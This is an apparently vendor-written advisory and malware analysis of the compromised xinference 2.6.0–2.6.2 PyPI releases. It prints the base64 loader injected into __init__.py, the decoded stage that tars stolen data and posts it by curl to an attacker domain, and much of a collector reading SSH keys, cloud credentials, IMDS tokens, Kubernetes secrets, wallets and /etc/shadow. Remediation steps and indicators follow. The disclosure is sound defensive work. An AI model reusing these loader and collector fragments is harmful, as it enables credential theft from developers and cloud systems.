




















On April 22, 2026, three consecutive releases of xinference on PyPI — versions 2.6.0, 2.6.1, and 2.6.2 — were confirmed to carry a two-stage credential-stealing payload injected directly into xinference/__init__.py. The malware executes the moment any application runs import xinference, decodes a second-stage collector, harvests SSH keys, cloud credentials, environment variables, crypto wallets, and more, then exfiltrates everything as love.tar.gz via curl POST to the attacker-controlled domain whereisitat.lucyatemysuperbox.space. All three versions have been yanked from PyPI.
The actor marker # hacked by teampcp is embedded in the decoded first-stage payload. TeamPCP is the same threat actor behind the litellm supply chain compromise on March 24, 2026, and the telnyx supply chain compromise on March 27, 2026. Across three versions published over the course of this campaign, the attacker iterates on where to hide the injection — moving from bare module scope (2.6.0) to inside a legitimate helper function (2.6.2) — a clear sign of live operational refinement.
We independently performed static analysis on all three compromised versions, fully decoding both stages of the payload. This post documents the full technical details, including the decoded credential collector.
Xinference (Xorbits Inference) is an open-source LLM inference framework that lets developers run large language models locally or in distributed environments. It supports a wide range of models including LLaMA, Mistral, Qwen, and multimodal models, and provides both a Python API and a REST interface. It is widely used in AI application development, MLOps pipelines, and enterprise LLM deployments.
Environments running xinference typically hold elevated cloud credentials: GPU instance IAM roles, model registry tokens, object storage access keys, and Kubernetes service account tokens are all common in xinference deployment configurations. This makes it a high-value target for a credential-stealing campaign.
The malicious code is injected into a single file: xinference/__init__.py — the package's top-level init module. Because Python executes __init__.py on every import, no special trigger is needed. The payload fires on:
import xinference in application codexinference CLI invocationThere are no .pth files and no install hooks. The payload is embedded directly in source and fires unconditionally on import.
The malicious code is injected into a single file: xinference/__init__.py — the package's top-level init module. Because Python executes __init__.py on every import, no special trigger is needed. The payload fires on:
import xinference in application codexinference CLI invocationThere are no .pth files and no install hooks. The payload is embedded directly in source and fires unconditionally on import.
In 2.6.0, the attacker places the malicious code directly at module scope, between the intel_extension_for_pytorch import block and the legitimate _install() function:
try:
import intel_extension_for_pytorch # noqa: F401
except Exception:
pass
test = "IyBoYWNrZWQgYnkgdGVhbXBjcCANCmltcG9ydCBvcyx..." # <-- malicious payload blob
subprocess.Popen( # <-- fires immediately on import
[sys.executable, "-c", f"import base64; exec(base64.b64decode('{test}'))"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
def _install(): # <-- legitimate function follows
from xoscar.backends.router import Router
...The subprocess.Popen call at module scope fires the moment the module is imported. The detached subprocess suppresses all output, so no error or indicator is visible to the running application.
In 2.6.1, the attacker moves the injection inside the existing _install() function — a more subtle placement that would not stand out in a casual code review. However, 2.6.1 uses exec() directly rather than spawning a subprocess:
def _install():
from xoscar.backends.router import Router
import base64
test = "IyBoYWNrZWQgYnkgdGVhbXBjcCANCm..." # <-- payload moved inside function
exec(base64.b64decode(test)) # <-- runs synchronously, no detachment
# subprocess.Popen( # <-- Popen commented out
# [sys.executable, "-c", ...],
# ...
# )
default_router = Router.get_instance_or_empty()
Router.set_instance(default_router)The exec() approach means the credential harvester runs synchronously inside _install() before the router is set up. The Popen call is commented out, suggesting the attacker was experimenting with execution strategies and may have left 2.6.1 out as an intermediate step.
Version 2.6.2 is the most refined. The payload stays inside _install() but the detached subprocess.Popen is restored, and tempfile is added to the top-level imports:
import os
import subprocess
import sys
import tempfile # <-- added in 2.6.2
import base64
...
def _install():
from xoscar.backends.router import Router
test = "IyBoYWNrZWQgYnkgdGVhbXBjcCANCm..." # payload inside function
subprocess.Popen( # <-- async, detached, hidden in function
[sys.executable, "-c", f"import base64; exec(base64.b64decode('{test}'))"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
default_router = Router.get_instance_or_empty()
Router.set_instance(default_router)Version 2.6.2 achieves both goals: the payload is hidden inside a legitimate function (less obvious in diffs), and execution is detached (non-blocking, stderr suppressed). The tempfile import at the top level is required by the start() function inside the decoded stage 1 payload.
Attacker iteration: The 2.6.0 → 2.6.1 → 2.6.2 progression shows the attacker actively refining the injection technique: 2.6.0 is module-scope (obvious in a diff); 2.6.1 hides it inside a function but mistakenly drops async execution; 2.6.2 achieves both stealth and asynchrony. This rapid versioning over the course of a single campaign day is a hallmark of TeamPCP’s operational pattern, previously seen in the litellm 1.82.7 → 1.82.8 and telnyx 4.87.1 → 4.87.2 progressions.
The test variable in all three versions decodes to an identical first-stage script. It opens with the actor marker:
# hacked by teampcp
import os,base64,tempfile,subprocess,sysThe script defines a start() function and a second base64 blob jk (the credential collector). The start() function:
def start():
with tempfile.TemporaryDirectory() as d:
collected = os.path.join(d, "f")
l = os.path.join(d, "love.tar.gz")
try:
j = base64.b64decode(jk) # decode stage 2 collector
with open(collected, "wb") as f:
subprocess.run(
[sys.executable, "-"], # pipe stage 2 to python stdin
input=j,
stdout=f, # capture all output to temp file
stderr=subprocess.DEVNULL,
check=True
)
except Exception:
return
if not os.path.exists(collected) or os.path.getsize(collected) == 0:
return
try:
subprocess.run(["tar", "-czf", l, "-C", d, "f"], check=True)
subprocess.run([
"curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
"https://whereisitat.lucyatemysuperbox.space/",
"-H", "X-QT-SR: 14",
"-H", "Content-Type: application/octet-stream",
"--data-binary", f"@{l}"
], check=True, stderr=subprocess.DEVNULL)
except Exception as e:
pass
if __name__ == "__main__":
start()Key observations:
love.tar.gz (distinct from tpcp.tar.gz used in litellm/telnyx — see Attribution section).X-QT-SR: 14, which serves as a campaign identifier on the attacker’s server.love.tar.gz and the collected credentials file — is automatically cleaned up by Python’s TemporaryDirectory context manager after the POST completes. No artifacts remain on disk.The jk variable decodes to a self-contained Python credential harvester. It is piped into a fresh Python interpreter via stdin and never written to disk. The collector is comprehensive — it targets every credential type commonly present in cloud-connected development and ML inference environments.
The collector runs initial reconnaissance before harvesting credentials:
run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
run('printenv')The run() helper runs a shell command, captures stdout, and writes it with a === CMD: ... === separator to the output stream.
for h in homes+['/root']:
for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa',
'/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
emit(h+f)
walk([h+'/.ssh'],2,lambda fp,fn:True) # all files in .ssh, depth 2
walk(['/etc/ssh'],1,lambda fp,fn:fn.startswith('ssh_host') and fn.endswith('_key')) # host keysAWS Credentials — Disk, Environment, and Live IMDS
AWS credentials are targeted three ways: from the filesystem, from environment variables, and via live IMDS API calls for EC2 instance roles:
/
for h in homes+['/root']:
emit(h+'/.aws/credentials')
emit(h+'/.aws/config')
run('env | grep AWS_')
# IMDS v2 token + role credential fetch
tkn_req = urllib.request.Request('http://169.254.169.254/latest/api/token',
headers={'X-aws-ec2-metadata-token-ttl-seconds':'21600'}, method='PUT')
# ... fetches role name, then role credentials from IMDS
Beyond credentials, the collector makes live API calls to AWS Secrets Manager (ListSecrets) and AWS SSM Parameter Store (DescribeParameters) using whatever keys are available — including those retrieved from IMDS.
emit('/var/run/secrets/kubernetes.io/serviceaccount/token')
emit('/var/run/secrets/kubernetes.io/serviceaccount/ca.crt')
for h in homes+['/root']:
emit(h+'/.kube/config')
emit('/etc/kubernetes/admin.conf')
emit('/etc/kubernetes/kubelet.conf')
run('kubectl get secrets --all-namespaces -o json 2>/dev/null || true')walk([h+'/.config/gcloud'],4,lambda fp,fn:True)
emit('/root/.config/gcloud/application_default_credentials.json')
run('env | grep -i google; env | grep -i gcloud')
walk([h+'/.azure'],3,lambda fp,fn:True)
run('env | grep -i azure')
emit(h+'/.docker/config.json')
emit('/kaniko/.docker/config.json')walk(all_roots, 6, lambda fp,fn: fn in {
'.env', '.env.local', '.env.production', '.env.development', '.env.staging'
})The all_roots list includes /home/*, /root, /opt, /srv, /var/www, /app, /data, /var/lib, and /tmp. Depth 6 means it will descend into nested monorepo structures and Docker volume mounts.
emit(h+'/.npmrc')
emit(h+'/.pypirc')
emit(h+'/.cargo/credentials.toml')
emit(h+'/.vault-token')
emit(h+'/.netrc')
emit(h+'/.pgpass')
emit(h+'/.mongorc.js')
for hist in ['/.bash_history','/.zsh_history','/.sh_history',
'/.mysql_history','/.psql_history','/.rediscli_history']:
emit(h+hist)walk(['/etc/ssl/private'],1,lambda fp,fn:fn.endswith('.key'))
walk(['/etc/letsencrypt'],4,lambda fp,fn:fn.endswith('.pem'))
walk(all_roots,5,lambda fp,fn:os.path.splitext(fn)[1] in {'.pem','.key','.p12','.pfx'})
for ci in ['terraform.tfvars','.gitlab-ci.yml','.travis.yml','Jenkinsfile','.drone.yml']:
emit(ci)
walk(all_roots,4,lambda fp,fn:fn.endswith('.tfvars'))
walk(all_roots,4,lambda fp,fn:fn=='terraform.tfstate')The collector targets Bitcoin, Ethereum, Cardano, and Solana wallets — consistent with xinference's popularity in AI-adjacent communities where crypto infrastructure is common:
emit(h+'/.bitcoin/bitcoin.conf')
emit(h+'/.ethereum/keystore') # Ethereum keystore directory
walk([h+'/.cardano'],3,lambda fp,fn:fn.endswith('.skey') or fn.endswith('.vkey'))
walk([h+'/.config/solana'],3,lambda fp,fn:True)
emit(h+'/validator-keypair.json') # Solana validator keys
emit('/etc/passwd')
emit('/etc/shadow')
run('cat /var/log/auth.log 2>/dev/null | grep Accepted | tail -200')
run('grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20')No encryption in this campaign. Unlike the litellm and telnyx compromises, which wrapped stolen data with AES-256-CBC + RSA-4096 OAEP before exfiltration, the xinference payload sends a plain tar.gz to the C2 server. The absence of the RSA public key — a defining artifact of TeamPCP’s prior campaigns — is the main technical evidence supporting the group’s own claim that this may be a copycat. However, the # hacked by teampcp marker, the identical injection pattern, and the multi-version iteration cadence are all consistent with TeamPCP’s established methodology.
All collected data is compressed into love.tar.gz and POSTed to:
curl -s -o /dev/null -w "%{http_code}" \
"https://whereisitat.lucyatemysuperbox.space/" \
-H "X-QT-SR: 14" \
-H "Content-Type: application/octet-stream" \
--data-binary "@/tmp/.../love.tar.gz"The custom header X-QT-SR: 14 is a server-side routing key — it allows the attacker’s infrastructure to distinguish xinference-originated exfiltration from other campaigns. The archive name love.tar.gz differs from tpcp.tar.gz used in litellm and telnyx. The temp directory is auto-cleaned after the POST, leaving no artifacts on disk.
xinference==2.6.0, xinference==2.6.1, xinference==2.6.2xinference/__init__.py — malicious test variable and trigger added# hacked by teampcp (first line of decoded stage 1 payload)whereisitat.lucyatemysuperbox.spacehttps://whereisitat.lucyatemysuperbox.space/curl --data-binary POSTX-QT-SR: 14love.tar.gz (created in temp dir; auto-cleaned post-upload)subprocess.Popen with suppressed stdout/stderr; stage 2 piped to python - via stdinxinference-2.6.0-py3-none-any.whl — f677cd06e0dfbd23b6feb47f31d49cb8fcc88ed0487d30143d36d4f54261e3dexinference-2.6.1-py3-none-any.whl — 4c5c589f543b1a02251451ab3baaeed7c82851de10fa33f87b95a85e3040c92exinference-2.6.2-py3-none-any.whl — 96007d4ee4171e383cecdf7a34b606bfcb78eff435182dc86daa49a17153dcd3
Immediate actions if xinference 2.6.0, 2.6.1, or 2.6.2 was installed on any system:
Check your installed version:
pip show xinferenceIf the Version field shows 2.6.0, 2.6.1, or 2.6.2, the system is compromised. Downgrade immediately:
pip install "xinference<2.6.0"Check for leftover exfiltration artifacts (auto-cleaned in most cases, but worth verifying):
find /tmp -name 'love.tar.gz' 2>/dev/nullAudit outbound network logs for any HTTPS connections to whereisitat.lucyatemysuperbox.space. Any connection confirms credential exfiltration occurred.
Rotate all credentials accessible on affected systems: AWS access keys (including instance role credentials retrieved from IMDS), Kubernetes service account tokens and kubeconfig certificates, SSH private keys, GCP service account keys, Azure credentials, all .env file values, Docker registry tokens, npm and PyPI tokens, and any API keys present in environment variables.
Rotate AWS Secrets Manager and SSM Parameter Store secrets — the stage 2 collector makes live API calls to both services and retrieves secret values directly using available credentials.
StepSecurity ran the compromised package in a controlled GitHub Actions environment with Harden-Runner enabled. The run confirms the malware fires immediately on import xinference and that the exfiltration attempt to whereisitat.lucyatemysuperbox.space was automatically blocked by Harden-Runner’s global block list — no credentials left the runner.
View the full network event trace on the StepSecurity Insights page →
Harden-Runner’s eBPF-based network monitor captured and blocked the outbound curl POST to whereisitat.lucyatemysuperbox.space. The domain is on the Harden-Runner global block list, which applies across all protected workflows — even those running in egress-policy: audit mode.

Harden-Runner blocked this attack on the CI/CD runner.The exfiltration domain whereisitat.lucyatemysuperbox.space is on the Harden-Runner global block list. Any workflow protected by Harden-Runner — regardless of egress policy — would have had the outbound POST blocked before love.tar.gz could be delivered to the attacker. No credentials would have left the runner.View live run → · Learn about Harden-Runner →
StepSecurity’s Compromised Package Check flags known-compromised versions of PyPI packages in your CI/CD pipelines and repositories before they are installed. For xinference, all three compromised versions — 2.6.0, 2.6.1, and 2.6.2 — are tracked. Any workflow or dependency file referencing these versions will surface an immediate alert.

TeamPCP published all three compromised versions within a single day — an abnormal publishing cadence that is a strong signal of a supply chain attack. StepSecurity’s PyPI Cooldown Check enforces a waiting period before newly published package versions are allowed to install in your CI/CD pipelines. A version of xinference published today would not be auto-installed until it had been live long enough to be reviewed — giving the community time to detect and report the compromise before it could execute in your workflows.

Use StepSecurity’s PyPI package search to instantly check whether any of the compromised xinference versions are present across your organization’s repositories and workflows:

此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。